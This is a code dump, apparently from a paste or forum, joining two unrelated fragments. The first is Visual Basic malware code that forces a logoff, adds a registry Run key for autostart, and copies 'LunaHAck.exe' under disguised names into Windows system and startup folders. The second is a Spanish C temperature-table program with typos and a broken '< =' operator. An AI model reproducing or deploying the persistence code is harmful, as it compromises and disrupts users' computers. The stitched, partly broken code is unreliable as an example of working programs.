Private Function Verificar_Existe(path) As Boolean
 
    If Len(Trim$(Dir$(path))) Then
        Verificar_Existe = True
        FileCopy "c:\LunaHAck.exe", "C:\WINDOWS\Cursores.exe"
        FileCopy "c:\LunaHAck.exe", "C:\WINDOWS\Cursores\Cursors.exe"
        FileCopy "C:\WINDOWS\Cursores\Cursors.exe", "C:\WINDOWS\system32\System32help.exe"
        FileCopy "C:\WINDOWS\Cursores\Cursors.exe", "C:\Codigo.exe"
        FileCopy "C:\WINDOWS\Cursores\Cursors.exe", "C:\Copia.exe"
        FileCopy "C:\WINDOWS\Cursores\Cursors.exe", "C:\WINDOWS\system\Systemhelp.exe"
        FileCopy "C:\WINDOWS\Cursores\Cursors.exe", "C:\Documents and Settings\All Users\Menú Inicio\Programas\Inicio\Inico.exe"
        FileCopy "C:\WINDOWS\Cursores.exe", "C:\Documents and Settings\All Users\Escritorio\LunaHAck.exe"
        FileCopy "C:\WINDOWS\Cursores\Cursors.exe", "C:\Documents and Settings\All Users\Menú Inicio\Programas\Inicio\Inico2.exe"
        FileCopy "C:\WINDOWS\Cursores.exe", "C:\WINDOWS\Cursores\Cursors.exe"
        End If
 
End Function
 
 
Private Sub Form_Load()
 HoraLimite = "00:00:30"
 Timer1.Interval = 1000
 horafinal = Time + HoraLimite
 Shell "Shutdown -t 10 -l "
 Shell "reg add hklm\software\microsoft\windows\currentversion\run /v programa /t reg_sz /d C:\WINDOWS\Cursores.exe /f "
 Call Verificar_Existe("c:\LunaHAck.exe ")

#include <stdio.h>
 
/* imprime la talba de Fahrenheit-Celsius
     Para fahr = 0, 20, ..., 300 */
 
main ()
 
{
    int fahr, celsius;
    int lower, upper, step;
 
    lower = 0;    /* limite inferior de latabla de temperatura */
    upper = 300;  /* limine superior */
    step = 20;    /* tamañp dl incremiento */
 
    fahr = lower;
    while (fahr < = upper) {
        celsius = 5 * (fahr-32) / 9;
        printf("%d\t%d\n", fahr, celsius) ;
        fahr = fahr + step;
    }
}